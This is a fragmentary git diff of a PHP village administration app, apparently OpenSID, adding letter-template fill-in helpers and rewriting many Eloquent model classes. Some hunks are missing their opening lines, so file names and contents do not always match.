$item['kode'])), + 'data' => $input[underscore($item['nama'], true, true)], + ]; + }) + ->toArray(); + } + // Dinamis + $dinadata = collect($data['surat']['kode_isian'])->reject(static function ($item) { + return isset($item->kategori); + })->values(); + + $postDinamis = collect($dinadata) + ->map(static function ($item, $key) use ($input) { + $input_data = $input[underscore($item->nama, true, true)]; + if ($item->tipe == 'date') { + $data = Carbon::parse($input_data)->format('Y-m-d'); + } elseif ($item->tipe == 'hari-tanggal') { + if ($input_data != '') { + $day = self::get_hari($input_data); + $data = tgl_indo(Carbon::parse($input_data)->format('Y-m-d'), '', $day); + } + } elseif ($item->tipe == 'hari') { + if ($input_data != '') { + $data = self::get_hari($input_data); + } + } else { + $data = $input_data; + } + + return [ + 'judul' => $item->nama, + 'isian' => getFormatIsian(str_replace(['[', ']'], '', $item->kode)), + 'data' => $data, + ]; + }) + ->toArray(); + $kategori_isianP = []; + $kategori_isian = collect($data['surat']['kode_isian'])->filter(static function ($item) use (&$kategori_nama, &$kategori_isianP, &$input) { + $kategori_isianP[$item->kategori][] = $item; + + return isset($item->kategori); + })->values(); + $post2['kategori'] = $postDinamis2 = collect($kategori_isian) + ->map(static function ($item, $key) use ($input) { + $nama = $item->nama; + $data = $input[underscore($nama, true, true) . '_' . $item->kategori]; + + return [ + 'nama_kategori' => $item->kategori, + 'judul' => $item->nama, + 'isian' => getFormatIsian(str_replace(['[', ']'], '', $item->kode)), + 'data' => ($item->tipe == 'date') ? tgl_indo(Carbon::parse($data)->format('Y-m-d')) : $data, + ]; + }) + ->toArray(); + + return array_merge($postStatis, $postDinamis, $post2); + } + + public function get_hari($tanggal) + { + $hari = Carbon::createFromFormat('d-m-Y', $tanggal)->locale('id'); + + return $hari->dayName; + } + + public function getPenandatangan($input = []) + { + $nama_desa = Config::select(['nama_desa'])->first()->nama_desa; + + //Data penandatangan + $kades = Pamong::kepalaDesa()->first(); + + $ttd = $input['pilih_atas_nama']; + $atas_nama = $kades->pamong_jabatan . ' ' . $nama_desa; + $jabatan = $kades->pamong_jabatan; + $nama_pamong = $kades->pamong_nama; + $nip_pamong = $kades->pamong_nip; + $niap_pamong = $kades->pamong_niap; + + $sekdes = Pamong::ttd('a.n')->first(); + if (preg_match('/a.n/i', $ttd)) { + $atas_nama = 'a.n ' . $atas_nama . '
' . $sekdes->pamong_jabatan; + $jabatan = $sekdes->pamong_jabatan; + $nama_pamong = $sekdes->pamong_nama; + $nip_pamong = $sekdes->pamong_nip; + $niap_pamong = $sekdes->pamong_niap; + } + + if (preg_match('/u.b/i', $ttd)) { + $pamong = Pamong::ttd('u.b')->find($input['pamong_id']); + $atas_nama = 'a.n ' . $atas_nama . '
' . $sekdes->pamong_jabatan . '
u.b
' . $pamong->jabatan->nama; + $jabatan = $pamong->pamong_jabatan; + $nama_pamong = $pamong->pamong_nama; + $nip_pamong = $pamong->pamong_nip; + $niap_pamong = $pamong->pamong_niap; + } + + if (strlen($nip_pamong) > 10) { + $sebutan_nip_desa = 'NIP'; + $nip = $nip_pamong; + $pamong_nip = $sebutan_nip_desa . ' : ' . $nip; + } else { + $sebutan_nip_desa = setting('sebutan_nip_desa'); + if (! empty($niap_pamong)) { + $nip = $niap_pamong; + $pamong_nip = $sebutan_nip_desa . ' : ' . $niap_pamong; + } else { + $pamong_nip = ''; + } + } + + return [ + [ + 'judul' => 'Atas Nama', + 'isian' => getFormatIsian('Atas_namA'), + 'data' => $atas_nama, + ], + [ + 'judul' => 'Nama Pamong', + 'isian' => getFormatIsian('Nama_pamonG'), + 'data' => $nama_pamong, + ], + [ + 'judul' => 'Jabatan Pamong', + 'isian' => getFormatIsian('JabataN'), + 'data' => $jabatan, + ], + [ + 'judul' => 'Sebutan NIP ' . ucwords(setting('sebutan desa')), + 'isian' => getFormatIsian('Sebutan_nip_desA'), + 'data' => $sebutan_nip_desa, + ], + [ + 'judul' => 'NIP Pamong', + 'isian' => getFormatIsian('Nip_pamonG'), + 'data' => $nip, + ], + [ + 'judul' => 'Sebutan NIP ' . ucwords(setting('sebutan desa')) . ' & NIP Pamong', + 'isian' => getFormatIsian('Form_nip_pamonG'), + 'data' => $pamong_nip, + ], + ]; + } + + public function replceKodeIsian($data = [], $kecuali = []) + { + $result = $data['isi_surat']; + $newKodeIsian = []; + $kodeIsian = $this->getFormatedKodeIsian($data, true); + + foreach ($kodeIsian as $key => $value) { + if (preg_match('/klg/i', $key)) { + for ($i = 1; $i <= 10; $i++) { + $newKodeIsian[] = [ + 'isian' => str_replace('x_', "{$i}_", $key), + 'data' => $value[$i - 1] ?? '', + ]; + } + } else { + $newKodeIsian[] = [ + 'isian' => $key, + 'data' => $value, + ]; + } + } + + $newKodeIsian = array_combine(array_column($newKodeIsian, 'isian'), array_column($newKodeIsian, 'data')); + + if ((int) $data['surat']['masa_berlaku'] == 0) { + $result = str_replace('[mulai_berlaku] s/d [berlaku_sampai]', '-', $result); + } + + foreach ($newKodeIsian as $key => $value) { + if (in_array($key, $kecuali)) { + continue; + } + if (in_array($key, ['[atas_nama]', '[format_nomor_surat]'])) { + $result = str_replace($key, $value, $result); + } + if (preg_match('/pengikut_surat/i', $key)) { + $result = str_replace($key, $data['pengikut_surat'] ?? '', $result); + } + if (preg_match('/pengikut_kartu_kis/i', $key)) { + $result = str_replace($key, $data['pengikut_kartu_kis'] ?? '', $result); + } + if (preg_match('/pengikut_kis/i', $key)) { + $result = str_replace($key, $data['pengikut_kis'] ?? '', $result); + } + if (preg_match('/pengikut_pindah/i', $key)) { + $result = str_replace($key, $data['pengikut_pindah'] ?? '', $result); + } else { + $result = case_replace($key, $value, $result); + } + } + + // if (isset($data['pengikut_surat'])) { + // log_message('error',"pengikut_surat ". $data['pengikut_surat']); + // $result = str_ireplace('[Pengikut_suraT]', $data['pengikut_surat'], $result); + // } + + return $result; + } + + /** + * Kode isian nomor_surat bisa ditentukan panjangnya, diisi dengan '0' di sebelah kiri + * Misalnya [nomor_surat, 3] akan menghasilkan seperti '012' + * + * @param mixed|null $nomor + * @param mixed $format + */ + public function substitusiNomorSurat($nomor = null, $format = '') + { + // TODO : Cek jika null, cari no surat terakhir berdasarkan kelompok + $format = str_replace('[nomor_surat]', "{$nomor}", $format); + if (preg_match_all('/\[nomor_surat,\s*\d+\]/', $format, $matches)) { + foreach ($matches[0] as $match) { + $parts = explode(',', $match); + $panjang = (int) trim(rtrim($parts[1], ']')); + $nomor_panjang = str_pad("{$nomor}", $panjang, '0', STR_PAD_LEFT); + $format = str_replace($match, $nomor_panjang, $format); + } + } + + return $format; + } + + /** + * Daftar penandatangan dan pamongnya + */ + public function formPenandatangan() + { + $atas_nama = []; + $config = identitas(); + $penandatangan = Pamong::penandaTangan()->get(); + + // Kepala Desa + $kades = Pamong::kepalaDesa()->first(); + if ($kades) { + $atas_nama[''] = $kades->pamong_jabatan . ' ' . $config->nama_desa; + + // Sekretaris Desa + $sekdes = Pamong::ttd('a.n')->first(); + if ($sekdes) { + $atas_nama['a.n'] = 'a.n ' . $kades->pamong_jabatan . ' ' . $config->nama_desa; + + // Pamogn selain Kepala Desa dan Sekretaris Desa + $pamong = Pamong::ttd('u.b')->exists(); + if ($pamong) { + $atas_nama['u.b'] = 'u.b ' . $sekdes->pamong_jabatan . ' ' . $config->nama_desa; + } + } + + return [ + 'penandatangan' => $penandatangan, + 'atas_nama' => $atas_nama, + ]; + } + session_error(', ' . setting('sebutan_kepala_desa') . ' belum ditentukan.'); + redirect('pengurus'); + } + + public function getDaftarLampiran() + { + $lampiran = []; + $daftar_lampiran_sistem = glob(DEFAULT_LOKASI_LAMPIRAN_SURAT . '*', GLOB_ONLYDIR); + $daftar_lampiran_desa = glob(LOKASI_LAMPIRAN_SURAT_DESA . '*', GLOB_ONLYDIR); + $daftar_lampiran = array_merge($daftar_lampiran_desa, $daftar_lampiran_sistem); + + foreach ($daftar_lampiran as $value) { + if (file_exists(FCPATH . $value . '/view.php')) { + $lampiran[] = kode_format(basename($value)); + } + } + + return collect($lampiran)->unique()->sort()->values(); + } + + public static function getKodeIsianNonWarga() + { + return json_encode([ + [ + 'tipe' => 'text', + 'kode' => '[form_nama_non_warga]', + 'nama' => 'Nama Non Warga', + 'deskripsi' => 'Masukkan Nama', + 'atribut' => 'class="required nama"', + 'statis' => true, + ], + [ + + 'tipe' => 'text', + 'kode' => '[form_nik_non_warga]', + 'nama' => 'NIK Non Warga', + 'deskripsi' => 'Masukkan NIK', + 'atribut' => 'class="required nik"', + 'statis' => true, + ], + ]); + } +} diff --git a/app/Libraries/TinyMCE/KodeIsianPeristiwa.php b/app/Libraries/TinyMCE/KodeIsianPeristiwa.php new file mode 100644 index 000000000..b43d06eef --- /dev/null +++ b/app/Libraries/TinyMCE/KodeIsianPeristiwa.php @@ -0,0 +1,232 @@ +statusDasar = $statusDasar; + $this->logPeristiwa = LogPenduduk::where('id_pend', $idPenduduk)->latest()->first(); + } + + public static function get($idPenduduk, $statusDasar) + { + $kodeIsian = new self($idPenduduk, $statusDasar); + + return $kodeIsian->kodeIsian(); + } + + public function kodeIsian() + { + switch ($this->statusDasar) { + case LogPenduduk::BARU_LAHIR: + $data = $this->getLahir($this->logPeristiwa); + break; + + case LogPenduduk::MATI: + $data = $this->getKematian($this->logPeristiwa); + break; + + case LogPenduduk::PINDAH_KELUAR: + $data = $this->getPindah($this->logPeristiwa); + break; + + case LogPenduduk::HILANG: + $data = $this->getHilang($this->logPeristiwa); + break; + + default: + $data = []; + } + + $lainnya = $this->getLainnya($this->logPeristiwa); + + return array_merge($data, $lainnya); + } + + private function getLahir($peristiwa) + { + return [ + [ + 'judul' => 'Hari Kelahiran', + 'isian' => getFormatIsian('Hari_kelahiranN'), + 'data' => hari($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Tanggal Kelahiran', + 'isian' => getFormatIsian('Tanggal_kelahiranN'), + 'data' => tgl_indo($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Jam Kelahiran', + 'isian' => getFormatIsian('Jam_kelahiranN'), + 'data' => $peristiwa->penduduk->waktu_lahir, + ], + [ + 'judul' => 'Tempat Dilahirkan', + 'isian' => getFormatIsian('Tempat_dilahirkanN'), + 'data' => $peristiwa->penduduk->dilahirkan, + ], + [ + 'judul' => 'Tempat Kelahiran', + 'isian' => getFormatIsian('Tempat_kelahiranN'), + 'data' => $peristiwa->penduduk->tempatlahir, + ], + [ + 'judul' => 'Jenis Kelahiran', + 'isian' => getFormatIsian('Jenis_kelahiranN'), + 'data' => $peristiwa->penduduk->jenisLahir, + ], + [ + 'judul' => 'Kelahiran Anak Ke', + 'isian' => getFormatIsian('Kelahiran_anaK'), + 'data' => $peristiwa->penduduk->kelahiran_anak_ke, + ], + [ + 'judul' => 'Penolong Kelahiran', + 'isian' => getFormatIsian('Penolong_kelahiranN'), + 'data' => $peristiwa->penduduk->penolongLahir, + ], + [ + 'judul' => 'Berat Bayi', + 'isian' => getFormatIsian('Berat_bayI'), + 'data' => $peristiwa->penduduk->berat_lahir, + ], + [ + 'judul' => 'Panjang Bayi', + 'isian' => getFormatIsian('Panjang_bayI'), + 'data' => $peristiwa->penduduk->panjang_lahir, + ], + ]; + } + + private function getKematian($peristiwa) + { + return [ + [ + 'judul' => 'Hari Kematian', + 'isian' => getFormatIsian('Hari_kematiaN'), + 'data' => hari($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Tanggal Kematian', + 'isian' => getFormatIsian('Tanggal_kematiaN'), + 'data' => tgl_indo($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Jam Kematian', + 'isian' => getFormatIsian('Jam_kematiaN'), + 'data' => $peristiwa->jam_mati, + ], + [ + 'judul' => 'Tempat Kematian', + 'isian' => getFormatIsian('Tempat_kematiaN'), + 'data' => $peristiwa->meninggal_di, + ], + [ + 'judul' => 'Penyebab Kematian', + 'isian' => getFormatIsian('Penyebab_kematiaN'), + 'data' => $peristiwa->penyebab_kematian, + ], + [ + 'judul' => 'Penolong Kematian', + 'isian' => getFormatIsian('Penolong_kematiaN'), + 'data' => $peristiwa->yang_menerangkan, + ], + ]; + } + + private function getPindah($peristiwa) + { + return [ + [ + 'judul' => 'Hari Pindah', + 'isian' => getFormatIsian('Hari_pindaH'), + 'data' => hari($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Tanggal Pindah', + 'isian' => getFormatIsian('Tanggal_pindaH'), + 'data' => tgl_indo($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Alamat Tujuan', + 'isian' => getFormatIsian('Alamat_tujuaN'), + 'data' => $peristiwa->alamat_tujuan, + ], + ]; + } + + private function getHilang($peristiwa) + { + return [ + [ + 'judul' => 'Hari Hilang', + 'isian' => getFormatIsian('Hari_hilanG'), + 'data' => hari($peristiwa->tgl_peristiwa), + ], + [ + 'judul' => 'Tanggal Hilang', + 'isian' => getFormatIsian('Tanggal_hilanG'), + 'data' => tgl_indo($peristiwa->tgl_peristiwa), + ], + ]; + } + + private function getLainnya($peristiwa) + { + return [ + [ + 'judul' => 'Tanggal Lapor', + 'isian' => getFormatIsian('Tanggal_lapoR'), + 'data' => tgl_indo($peristiwa->tgl_lapor), + ], + [ + 'judul' => 'Catatan', + 'isian' => getFormatIsian('CatataN'), + 'data' => $peristiwa->catatan, + ], + ]; + } +} diff --git a/app/Models/Agama.php b/app/Models/Agama.php index bf4295c3e..43fb5aca1 100644 --- a/app/Models/Agama.php +++ b/app/Models/Agama.php @@ -1,369 +1,50 @@ - 1, + 'simbol' => 'N', + 'nama' => 'Sehat / Normal (N)', + ], + [ + 'id' => 2, + 'simbol' => 'GK', + 'nama' => 'Gizi Kurang (GK)', + ], + [ + 'id' => 3, + 'simbol' => 'GB', + 'nama' => 'Gizi Buruk (GB)', + ], + [ + 'id' => 4, + 'simbol' => 'S', + 'nama' => 'Stunting (S)', + ], + ]; + + /** + * Static data status tikar anak + * + * @var array + */ + public const STATUS_TIKAR_ANAK = [ + [ + 'id' => 1, + 'simbol' => 'TD', + 'nama' => 'Tidak Diukur (TD)', + ], + [ + 'id' => 2, + 'simbol' => 'M', + 'nama' => 'Merah (M)', + ], + [ + 'id' => 3, + 'simbol' => 'K', + 'nama' => 'Kuning (K)', + ], + [ + 'id' => 4, + 'simbol' => 'H', + 'nama' => 'Hijau (H)', + ], + ]; + + /** + * Static data status imunisasi campak + * + * @var array + */ + public const STATUS_IMUNISASI_CAMPAK = [ + 1 => 'Belum', + 2 => 'Sudah', + ]; + + /** + * The table associated with the model. + * + * @var string + */ + protected $table = 'bulanan_anak'; + + /** + * The table update parameter. + * + * @var string + */ + public $primaryKey = 'id_bulanan_anak'; + + /** + * The guarded with the model. + * + * @var array + */ + protected $guarded = []; + + public function kia() + { + return $this->belongsTo(KIA::class, 'kia_id'); + } + + public function scopeFilter($query, array $filters) + { + if (! empty($filters['bulan'])) { + $query->whereMonth('bulanan_anak.created_at', $filters['bulan']); + } + + if (! empty($filters['tahun'])) { + $query->whereYear('bulanan_anak.created_at', $filters['tahun']); + } + + if (! empty($filters['posyandu'])) { + $query->where('posyandu_id', $filters['posyandu']); + } + + return $query; + } +} diff --git a/app/Models/AnggotaGrup.php b/app/Models/AnggotaGrup.php index ae52c2cfd..1d570504d 100644 --- a/app/Models/AnggotaGrup.php +++ b/app/Models/AnggotaGrup.php @@ -1,417 +1,121 @@ -hasOne(GrupKontak::class, 'id_grup', 'id_grup'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function daftarKontak() + { + return $this->hasOne(DaftarKontak::class, 'id_kontak', 'id_kontak'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function penduduk() + { + return $this->hasOne(Penduduk::class, 'id', 'id_penduduk')->status(); + } + + public function scopeDataAnggota($query) + { + return $query + ->leftJoin('kontak as k', 'anggota_grup_kontak.id_kontak', '=', 'k.id_kontak') + ->leftJoin('tweb_penduduk as p', static function ($penduduk) { + $penduduk->on('anggota_grup_kontak.id_penduduk', '=', 'p.id') + ->where('p.status_dasar', '=', 1); + }) + ->select( + 'anggota_grup_kontak.*', + DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.nama ELSE k.nama END) AS nama'), + DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.telepon ELSE k.telepon END) AS telepon'), + DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.email ELSE k.email END) AS email'), + DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.telegram ELSE k.telegram END) AS telegram'), + DB::raw('(CASE WHEN anggota_grup_kontak.id_kontak IS NULL THEN p.hubung_warga ELSE k.hubung_warga END) AS hubung_warga'), + ); + } +} diff --git a/app/Models/Anjungan.php b/app/Models/Anjungan.php index 6bd056510..0294a4759 100644 --- a/app/Models/Anjungan.php +++ b/app/Models/Anjungan.php @@ -1,393 +1,121 @@ - + */ + protected $fillable = [ + 'ip_address', + 'mac_address', + 'id_pengunjung', + 'keterangan', + 'status', + 'status_alasan', + 'tipe', + 'printer_ip', + 'printer_port', + 'keyboard', + 'created_by', + 'updated_by', + ]; + + /** + * The attributes that should be cast. + * + * @var array + */ + protected $casts = [ + 'status' => 'boolean', + 'keyboard' => 'boolean', + ]; + + /** + * The relations to eager load on every query. + * + * @var array + */ + protected $with = [ + // 'createdBy', + // 'updatedBy', + ]; + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function createdBy() + { + return $this->hasOne(User::class, 'id', 'created_by'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function updatedBy() + { + return $this->hasOne(User::class, 'id', 'updated_by'); + } + + public function scopeTipe($query, $tipe = 1) + { + return $query->where('tipe', $tipe); + } +} diff --git a/app/Models/AnjunganMenu.php b/app/Models/AnjunganMenu.php index 7b49d9706..1e334f748 100644 --- a/app/Models/AnjunganMenu.php +++ b/app/Models/AnjunganMenu.php @@ -1,425 +1,102 @@ - + */ + protected $fillable = [ + 'nama', + 'icon', + 'link', + 'link_tipe', + 'urut', + 'status', + 'created_by', + 'updated_by', + ]; + + /** + * The relations to eager load on every query. + * + * @var array + */ + protected $with = [ + // 'createdBy', + // 'updatedBy', + ]; + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function createdBy() + { + return $this->hasOne(User::class, 'id', 'created_by'); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function updatedBy() + { + return $this->hasOne(User::class, 'id', 'updated_by'); + } +} diff --git a/app/Models/Area.php b/app/Models/Area.php index 4f54d2773..4f945bc66 100644 --- a/app/Models/Area.php +++ b/app/Models/Area.php @@ -1,361 +1,111 @@ -attributes['foto']; + + if (file_exists(FCPATH . $foto)) { + return $foto; + } + + return null; + } + + /** + * Getter untuk foto sedang. + * + * @return string + */ + public function getFotoSedangAttribute() + { + $foto = LOKASI_FOTO_AREA . 'sedang_' . $this->attributes['foto']; + + if (file_exists(FCPATH . $foto)) { + return $foto; + } + + return null; + } +} diff --git a/app/Models/Artikel.php b/app/Models/Artikel.php index 97f170654..40846f362 100644 --- a/app/Models/Artikel.php +++ b/app/Models/Artikel.php @@ -1,385 +1,213 @@ -whereNotIn('id_kategori', static::NOT_IN_ARTIKEL); + } + + /** + * Scope a query to only enable article. + * + * @param Builder $query + * + * @return Builder + */ + public function scopeEnable($query) + { + return $query->where('enabled', static::ENABLE); + } + + /** + * Scope a query to only headline article. + * + * @param Builder $query + * + * @return Builder + */ + public function scopeHeadline($query) + { + return $query->where('headline', static::HEADLINE); + } + + /** + * Scope a query to only archive article. + * + * @param Builder $query + * + * @return Builder + */ + public function scopeArsip($query) + { + $kategori = json_decode(preg_replace('/\\\\/', '', setting('anjungan_artikel'))); + + $artikel = $query->select(Artikel::raw('*, YEAR(tgl_upload) AS thn, MONTH(tgl_upload) AS bln, DAY(tgl_upload) AS hri')) + ->where([['enabled', 1], ['tgl_upload', '<', date('Y-m-d H:i:s')]]); + + if (null !== $kategori) { + return $artikel->whereIn('id_kategori', $kategori); + } + + return $artikel; + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function author() + { + return $this->belongsTo(User::class, 'id_user'); + } + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function category() + { + return $this->belongsTo(Kategori::class, 'id_kategori'); + } + + /** + * Define a one-to-many relationship. + * + * @return HasMany + */ + public function comments() + { + return $this->hasMany(Komentar::class, 'id_artikel'); + } + + public function getPerkiraanMembacaAttribute() + { + return Str::perkiraanMembaca($this->isi); + } + + /** + * Getter untuk menambahkan url gambar. + * + * @return string + */ + public function getUrlGambarAttribute() + { + // return $this->gambar + // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar}" + // : ''; + } + + /** + * Getter untuk menambahkan url gambar. + * + * @return string + */ + public function getUrlGambar1Attribute() + { + // return $this->gambar1 + // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar1}" + // : ''; + } + + /** + * Getter untuk menambahkan url gambar. + * + * @return string + */ + public function getUrlGambar2Attribute() + { + // return $this->gambar2 + // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar2}" + // : ''; + } + + /** + * Getter untuk menambahkan url gambar. + * + * @return string + */ + public function getUrlGambar3Attribute() + { + // return $this->gambar3 + // ? config('filesystems.disks.ftp.url') . "/desa/upload/artikel/sedang_{$this->gambar3}" + // : ''; + } +} diff --git a/app/Models/Bantuan.php b/app/Models/Bantuan.php index 5e43e683f..5fdbd3989 100644 --- a/app/Models/Bantuan.php +++ b/app/Models/Bantuan.php @@ -1,385 +1,108 @@ - 'boolean', + ]; + + /** + * Define a one-to-many relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\HasMany + */ + public function peserta() + { + return $this->hasMany(BantuanPeserta::class, 'program_id'); + } + + /** + * Scope query untuk status bantuan + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeStatus($query, $value = 1) + { + return $query->where('status', $value); + } + + /** + * Scope config_id, dipisah untuk kebutuhan OpenKab. + * + * @param mixed $query + * + * @return Builder + */ + public function scopeConfigId($query) + { + return $query->where('config_id', identitas('id'))->orWhereNull('config_id'); + } +} diff --git a/app/Models/BantuanPeserta.php b/app/Models/BantuanPeserta.php index c6ac1b4e7..0bf35d72f 100644 --- a/app/Models/BantuanPeserta.php +++ b/app/Models/BantuanPeserta.php @@ -1,441 +1,85 @@ -belongsTo(Bantuan::class, 'program_id'); + } + + /** + * Scope query untuk peserta. + * + * @param Builder $query + * + * @return Builder + */ + public function scopePeserta($query) + { + // return $query->where('peserta', auth('jwt')->user()->penduduk->nik); + } +} diff --git a/app/Models/BaseModel.php b/app/Models/BaseModel.php index 4adda1424..fc2b32f58 100644 --- a/app/Models/BaseModel.php +++ b/app/Models/BaseModel.php @@ -1,401 +1,78 @@ -toArray() : $id; + + if (is_array($id)) { + if (count($result) === count(array_unique($id))) { + return $result; + } + } elseif (null !== $result) { + return $result; + } + + return show_404(); + } + + /** + * {@inheritDoc} + */ + public static function firstOrFail($columns = ['*']) + { + if (null !== ($model = self::first($columns))) { + return $model; + } + + return show_404(); + } +} diff --git a/app/Models/BukuKeperluan.php b/app/Models/BukuKeperluan.php index 283a5e668..6af120002 100644 --- a/app/Models/BukuKeperluan.php +++ b/app/Models/BukuKeperluan.php @@ -1,433 +1,69 @@ - 'date:Y-m-d H:i:s', + 'updated_at' => 'date:Y-m-d H:i:s', + ]; +} diff --git a/app/Models/BukuKepuasan.php b/app/Models/BukuKepuasan.php index 96250e531..d8d90f9e8 100644 --- a/app/Models/BukuKepuasan.php +++ b/app/Models/BukuKepuasan.php @@ -1,425 +1,99 @@ - 'date:Y-m-d H:i:s', + 'updated_at' => 'date:Y-m-d H:i:s', + ]; + + /** + * Getter untuk jawaban + * + * @return string + */ + public function getJawabanAttribute() + { + return JawabanKepuasanEnum::all()[$this->id_jawaban]; + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function tamu() + { + return $this->hasOne(BukuTamu::class, 'id', 'id_nama'); + } +} diff --git a/app/Models/BukuPertanyaan.php b/app/Models/BukuPertanyaan.php index 3b43bfe49..a7f0c1486 100644 --- a/app/Models/BukuPertanyaan.php +++ b/app/Models/BukuPertanyaan.php @@ -1,441 +1,59 @@ -hasOne(Sex::class, 'id', 'jenis_kelamin'); + } + + /** + * Getter untuk url_foto + * + * @return string + */ + public function getUrlFotoAttribute() + { + $lokasi = LOKASI_FOTO_BUKU_TAMU . $this->foto; + + if (null === $this->foto || ! file_exists(FCPATH . $lokasi)) { + if ($this->jenis_kelamin == JenisKelaminEnum::LAKI_LAKI) { + $lokasi = FOTO_DEFAULT_PRIA; + } else { + $lokasi = FOTO_DEFAULT_WANITA; + } + } else { + $lokasi = base_url($lokasi); + } + + return $lokasi; + } + + public function scopeFilters($query, array $filters) + { + if (! empty($filters['tanggal'])) { + [$awal, $akhir] = explode(' - ', $filters['tanggal']); + $query->whereBetween(DB::raw('DATE(created_at)'), [$awal, $akhir]); + } + + return $query; + } + + /** + * Setter untuk bidang + * + * @param mixed $value + */ + public function setBidangAttribute($value) + { + $this->attributes['bidang'] = RefJabatan::find($value)->nama ?? null; + } + + /** + * Setter untuk keperluan + * + * @param mixed $value + */ + public function setKeperluanAttribute($value) + { + $this->attributes['keperluan'] = BukuKeperluan::find($value)->keperluan ?? null; + } +} diff --git a/app/Models/Cacat.php b/app/Models/Cacat.php index 8aefee99f..bf00ff64d 100644 --- a/app/Models/Cacat.php +++ b/app/Models/Cacat.php @@ -1,369 +1,48 @@ -pamong()->pamong_nip; + } + + /** + * Getter untuk nama kepala desa dari pengurus + * + * @return string + */ + public function getNamaKepalaDesaAttribute() + { + return $this->pamong()->pamong_nama; + } + + public function pamong() + { + return Pamong::select('pamong_nip', 'pamong_nama')->kepalaDesa()->first(); + } + + /** + * Getter untuk path + logo desa + * + * @return string + */ + public function getPathLogoAttribute() + { + $logo = LOKASI_LOGO_DESA . $this->attributes['logo']; + + if (empty($this->attributes['logo']) || ! file_exists(FCPATH . $logo)) { + return 'assets/files/logo/opensid_logo.png'; + } + + return $this->attributes['logo']; + } + + /** + * Getter untuk path + kantor desa + * + * @return string + */ + public function getPathKantorDesaAttribute() + { + $kantor_desa = LOKASI_LOGO_DESA . $this->attributes['kantor_desa']; + + if (empty($this->attributes['kantor_desa']) || ! file_exists(FCPATH . $kantor_desa)) { + return 'assets/files/logo/opensid_kantor.jpg'; + } + + return $this->attributes['kantor_desa']; + } + + public function scopeAppKey($query) + { + if (Schema::hasColumn($this->table, 'app_key')) { + $query->where('app_key', get_app_key()); + } + + return $query; + } + + /** + * The "booted" method of the model. + * + * @return void + */ + public static function boot() + { + parent::boot(); + static::creating(static function ($model) { + $model->app_key = get_app_key(); + }); + + static::updating(static function ($model) { + static::clearCache(); + }); + } + + // Hapus cache config dan modul + private static function clearCache() + { + hapus_cache('identitas_desa'); + hapus_cache('_cache_modul'); + } +} diff --git a/app/Models/CovidPemudik.php b/app/Models/CovidPemudik.php index d7102dbb7..6168349b6 100644 --- a/app/Models/CovidPemudik.php +++ b/app/Models/CovidPemudik.php @@ -1,425 +1,64 @@ - '[]', + ]; + + /** + * The attributes that should be cast. + * + * @var array + */ + protected $casts = [ + 'attr' => 'json', + ]; + + /** + * The attributes that are mass assignable. + * + * @var array + */ + protected $fillable = [ + 'satuan', + 'nama', + 'enabled', + 'tgl_upload', + 'id_pend', + 'kategori', + 'id_syarat', + 'dok_warga', + ]; + + /** + * {@inheritDoc} + */ + protected $with = [ + 'kategoriDokumen', + ]; + + /** + * Define an inverse one-to-one or many relationship. + * + * @return BelongsTo + */ + public function jenisDokumen() + { + return $this->belongsTo(SyaratSurat::class, 'id_syarat'); + } + + /** + * Scope a query to only users. + * + * @param \Illuminate\Database\Eloquent\Builder $query + * + * @return \Illuminate\Database\Eloquent\Builder + */ + public function scopePengguna($query) + { + // return $query->where('id_pend', auth('jwt')->id()); + } + + /** + * Getter untuk menambahkan url file. + * + * @return string + */ + public function getUrlFileAttribute() + { + // try { + // return Storage::disk('ftp')->exists("desa/upload/dokumen/{$this->satuan}") + // ? Storage::disk('ftp')->url("desa/upload/dokumen/{$this->satuan}") + // : null; + // } catch (Exception $e) { + // Log::error($e); + // } + } + + /** + * Getter untuk donwload file. + * + * @return string + */ + public function getDownloadDokumenAttribute() + { + // try { + // return Storage::disk('ftp')->exists("desa/upload/dokumen/{$this->satuan}") + // ? Storage::disk('ftp')->download("desa/upload/dokumen/{$this->satuan}") + // : null; + // } catch (Exception $e) { + // Log::error($e); + // } + } + + /** + * Scope query untuk status dokumen + * + * @param Builder $query + * + * @return Builder + */ + public function scopeHidup($query) + { + return $query->where('deleted', '!=', 1); + } + + /** + * Scope query untuk status aktif + * + * @param Builder $query + * @param string $status + * + * @return Builder + */ + public function scopeAktif($query, $status = '1') + { + return $query->where('enabled', $status); + } + + /** + * Define a one-to-one relationship. + * + * @return \Illuminate\Database\Eloquent\Relations\hasOne + */ + public function kategoriDokumen() + { + return $this->hasOne(RefDokumen::class, 'id', 'kategori'); + } + + /** + * Scope query untuk menyaring data dokumen berdasarkan parameter yang ditentukan + * + * @param Builder $query + * @param mixed $value + * + * @return Builder + */ + public function scopeFilters($query, array $filters = []) + { + foreach ($filters as $key => $value) { + $query->when($value ?? false, static function ($query) use ($value, $key) { + $query->where($key, $value); + }); + } + + return $query; 